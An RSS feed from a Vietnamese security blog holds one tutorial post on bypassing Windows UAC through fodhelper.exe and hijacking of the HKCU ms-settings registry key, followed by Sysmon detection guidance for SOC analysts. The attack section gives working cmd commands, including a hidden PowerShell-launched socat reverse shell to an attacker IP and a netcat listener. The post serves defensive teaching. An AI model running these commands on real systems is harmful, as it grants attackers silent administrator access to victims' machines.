<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Registry-Hijacking on Roduygo | Blog</title><link>/tags/registry-hijacking/</link><description>Recent content in Registry-Hijacking on Roduygo | Blog</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Fri, 08 May 2026 12:00:00 +0700</lastBuildDate><atom:link href="/tags/registry-hijacking/index.xml" rel="self" type="application/rss+xml"/><item><title>Kỹ thuật UAC Bypass</title><link>/post/uac-bypass-fodhelper/</link><pubDate>Fri, 08 May 2026 12:00:00 +0700</pubDate><guid>/post/uac-bypass-fodhelper/</guid><description>&lt;p&gt;Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Hôm nay, chúng ta đã tìm hiểu UAC là &amp;ldquo;người gác cổng&amp;rdquo; tuyệt vời với cơ chế Secure Desktop và Integrity Levels. Tuy nhiên, không có hệ thống nào là bất khả xâm phạm. Hôm nay, chúng ta sẽ trực tiếp đóng vai Hacker, lợi dụng chính những tính năng &amp;ldquo;tiện lợi&amp;rdquo; do Microsoft thiết kế để vượt mặt UAC một cách im lặng tuyệt đối (UAC Bypass), đồng thời học cách Blue Team &amp;ldquo;bắt tại htrận&amp;rdquo; ành vi này bằng Sysmon.&lt;/p&gt;
&lt;h2 id="1-gót-chân-achilles-của-uac-tính-năng-autoelevation"&gt;1. &amp;ldquo;Gót chân Achilles&amp;rdquo; của UAC: Tính năng AutoElevation
&lt;/h2&gt;&lt;p&gt;Để tránh làm phiền người dùng với quá nhiều bảng thông báo Yes/No, Microsoft đã thiết kế một tính năng gọi là Tự động nâng quyền (AutoElevation). Một số tệp thực thi cốt lõi của Windows (như &lt;code&gt;msconfig.exe&lt;/code&gt; hay &lt;code&gt;fodhelper.exe&lt;/code&gt;) được khai báo cờ &lt;code&gt;autoElevate&lt;/code&gt; bên trong tệp kê khai (manifest) của chúng. Khi những phần mềm này chạy, Windows tự động cấp cho chúng quyền Cao nhất (High Integrity) mà không thèm hiện bảng hỏi UAC.&lt;/p&gt;
&lt;p&gt;Hacker cực kỳ thích điều này. Nếu chúng có thể &amp;ldquo;bám đuôi&amp;rdquo; hoặc lừa một tiến trình autoElevate chạy mã độc hộ mình, mã độc đó sẽ nghiễm nhiên được kế thừa quyền High Integrity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tại sao lại là Fodhelper.exe?&lt;/strong&gt;
&lt;code&gt;Fodhelper.exe&lt;/code&gt; là một chương trình mặc định của Windows dùng để quản lý các tính năng tùy chọn (như thêm ngôn ngữ). Nó có cờ &lt;code&gt;autoElevate&lt;/code&gt;. Nhưng điểm khiến &lt;code&gt;fodhelper.exe&lt;/code&gt; trở thành &amp;ldquo;con mồi&amp;rdquo; hoàn hảo là: Không giống như msconfig cần phải mở giao diện đồ họa (GUI), fodhelper có thể bị lạm dụng thông qua một giao diện dòng lệnh (CLI) ngầm từ xa với quyền trung bình (Medium Integrity).&lt;/p&gt;
&lt;h2 id="2-cơ-chế-ký-sinh-registry-hijacking"&gt;2. Cơ chế &amp;ldquo;Ký sinh&amp;rdquo;: Registry Hijacking
&lt;/h2&gt;&lt;p&gt;Điểm yếu chí mạng của &lt;code&gt;fodhelper.exe&lt;/code&gt; nằm ở cách nó tìm kiếm ứng dụng để mở. Khi hoạt động, tiến trình này sẽ liên tục quét vào Registry để tìm một khóa cụ thể liên quan đến giao thức &lt;code&gt;ms-settings&lt;/code&gt; (URL Protocol mở cửa sổ Settings của Windows).&lt;/p&gt;
&lt;p&gt;Đường dẫn mà fodhelper tìm kiếm là: &lt;code&gt;HKCU\Software\Classes\ms-settings\Shell\Open\command&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lỗ hổng nằm ở đâu?&lt;/strong&gt; Đường dẫn này nằm trong nhánh &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt; (HKCU). Đây là nhánh cấu hình riêng của người dùng hiện tại, do đó không cần quyền Admin vẫn có thể ghi đè vào đây. Hacker (đang ở quyền Medium) chỉ cần ghi đường dẫn mã độc của chúng vào khóa này, sau đó kích hoạt &lt;code&gt;fodhelper.exe&lt;/code&gt;. Tiến trình này tự động được nâng lên quyền High Integrity, sau đó nó ngây thơ đọc Registry và chạy mã độc của hacker với quyền lực tối cao.&lt;/p&gt;
&lt;h2 id="3-thực-chiến-đóng-vai-hacker-lách-luật-uac"&gt;3. Thực chiến: Đóng vai Hacker lách luật UAC
&lt;/h2&gt;&lt;p&gt;Bây giờ, chúng ta sẽ thực hiện kịch bản tấn công: Tạo một Reverse Shell (kết nối ngược) về máy chủ của hacker (ví dụ: máy Kali Linux có IP 10.48.95.226) bằng công cụ &lt;code&gt;socat&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tại cửa sổ CMD quyền thấp (Medium Integrity) trên máy nạn nhân, hacker thực hiện các lệnh sau:&lt;/p&gt;
&lt;h3 id="bước-1-thiết-lập-biến-môi-trường-và-tải-trọng-payload"&gt;Bước 1: Thiết lập biến môi trường và Tải trọng (Payload)
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Trỏ đến vị trí Registry mà Fodhelper sẽ đọc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Thiết lập mã độc: Dùng PowerShell chạy ẩn công cụ socat để mở cổng 4444 kết nối về máy Hacker&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; CMD=&lt;span style="color:#e6db74"&gt;&amp;#34;powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:10.48.95.226:4444 EXEC:cmd.exe,pipes&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;[Ghi chú: Lệnh trên thiết lập mã độc kết nối về IP của Hacker thông qua cổng 4444]&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="bước-2-chìa-khóa-delegateexecute-đặt-bẫy"&gt;Bước 2: Chìa khóa &amp;ldquo;DelegateExecute&amp;rdquo; (Đặt bẫy)
&lt;/h3&gt;&lt;p&gt;Đây là thủ thuật qua mặt hệ thống tinh vi nhất. Hacker chạy lệnh sau:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reg add %REG_KEY% /v &lt;span style="color:#e6db74"&gt;&amp;#34;DelegateExecute&amp;#34;&lt;/span&gt; /d &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt; /f
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lệnh này tạo một giá trị tên là &lt;code&gt;DelegateExecute&lt;/code&gt; nhưng để trống. Việc tạo giá trị này nhằm tắt cơ chế COM object chuẩn của Windows (chỉ định mã CLSID), buộc fodhelper phải quay lại đọc giá trị &amp;ldquo;Mặc định&amp;rdquo; (Default) của khóa command. Nếu thiếu dòng này, kỹ thuật Bypass sẽ thất bại.&lt;/p&gt;
&lt;h3 id="bước-3-ghi-mã-độc-và-kích-hoạt"&gt;Bước 3: Ghi mã độc và Kích hoạt
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Ghi đè mã độc vào giá trị mặc định của khóa Registry&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reg add %REG_KEY% /d %CMD% /f
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Khởi chạy fodhelper để nó &amp;#34;cắn câu&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Windows\System32\fodhelper.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ngay khi &lt;code&gt;fodhelper.exe&lt;/code&gt; chạy, nó đọc Registry, thấy &lt;code&gt;DelegateExecute&lt;/code&gt; trống, bèn gọi lệnh &lt;code&gt;socat&lt;/code&gt;. Tại máy Kali Linux đang mở cổng lắng nghe (&lt;code&gt;nc -lvp 4444&lt;/code&gt;), Hacker nhận được một Shell với quyền Administrator cao nhất mà màn hình nạn nhân không hề chớp nháy hay hiện bảng UAC nào!&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;[Ghi chú: Chèn ảnh minh họa cửa sổ Netcat bên máy Kali Linux nhận được kết nối Reverse Shell từ máy Windows vào đây]&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="4-góc-nhìn-soc-bắt-tại-trận-bằng-sysmon"&gt;4. Góc nhìn SOC: &amp;ldquo;Bắt tại trận&amp;rdquo; bằng Sysmon
&lt;/h2&gt;&lt;p&gt;Hacker có thể qua mặt được UAC, nhưng không thể vô hình trước &amp;ldquo;mắt thần&amp;rdquo; Sysmon. Khi kịch bản UAC Bypass via Registry Hijacking này xảy ra, hệ thống Sysmon sẽ nổ ra một chuỗi cảnh báo (Alert) liên tục:&lt;/p&gt;
&lt;h3 id="41-bắt-quả-tang-hành-vi-sửa-registry-event-id-12--13"&gt;4.1 Bắt quả tang hành vi sửa Registry (Event ID 12 &amp;amp; 13)
&lt;/h3&gt;&lt;p&gt;Vì hacker phải tạo khóa và ghi giá trị vào Registry, Sysmon sẽ ghi nhận:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Event ID 12 (Registry object added):&lt;/strong&gt; Ghi nhận việc nhánh &lt;code&gt;ms-settings\Shell\Open\command&lt;/code&gt; vừa được tạo mới.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Event ID 13 (Registry value set):&lt;/strong&gt; Ghi nhận việc một tiến trình lạ vừa đặt giá trị &lt;code&gt;DelegateExecute&lt;/code&gt; và chèn mã lệnh &lt;code&gt;powershell... socat...&lt;/code&gt; vào Registry.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="42-bắt-quả-tang-tiến-trình-con-bất-thường-event-id-1"&gt;4.2 Bắt quả tang tiến trình con bất thường (Event ID 1)
&lt;/h3&gt;&lt;p&gt;Event ID 1 (Process Create) là chốt chặn cuối cùng. Khi xem log, SOC Analyst sẽ thấy một chuỗi logic cực kỳ đáng ngờ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tiến trình cha (ParentImage):&lt;/strong&gt; Là &lt;code&gt;C:\Windows\System32\fodhelper.exe&lt;/code&gt; (chạy với IntegrityLevel: High).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tiến trình con (Image):&lt;/strong&gt; Lại là &lt;code&gt;powershell.exe&lt;/code&gt; hoặc &lt;code&gt;socat.exe&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Một phần mềm quản lý cài đặt ngôn ngữ (&lt;code&gt;fodhelper.exe&lt;/code&gt;) lại đi gọi &lt;code&gt;powershell.exe&lt;/code&gt; chạy ẩn để gọi tiếp &lt;code&gt;socat.exe&lt;/code&gt; kết nối ra IP bên ngoài qua cổng 4444? Đây là dấu hiệu 100% của việc lạm dụng tiến trình hệ thống để leo thang đặc quyền!&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Bypass UAC thông qua Fodhelper.exe và Registry Hijacking là một kỹ thuật kinh điển nhưng vẫn vô cùng hiệu quả, minh chứng cho việc hacker biến chính &amp;ldquo;tính năng&amp;rdquo; tiện lợi của Windows thành &amp;ldquo;vũ khí&amp;rdquo;. Việc hiểu sâu cơ chế này kết hợp với khả năng phân tích Event ID của Sysmon sẽ giúp bạn viết ra những tập luật (Rule) SIEM cực kỳ sắc bén. Ở các bài viết tiếp theo, chúng ta sẽ chính thức bước vào phân tích Network Forensics và cách giải mã các gói tin độc hại. Hãy cùng chờ đón nhé!&lt;/em&gt;&lt;/p&gt;</description></item></channel></rss>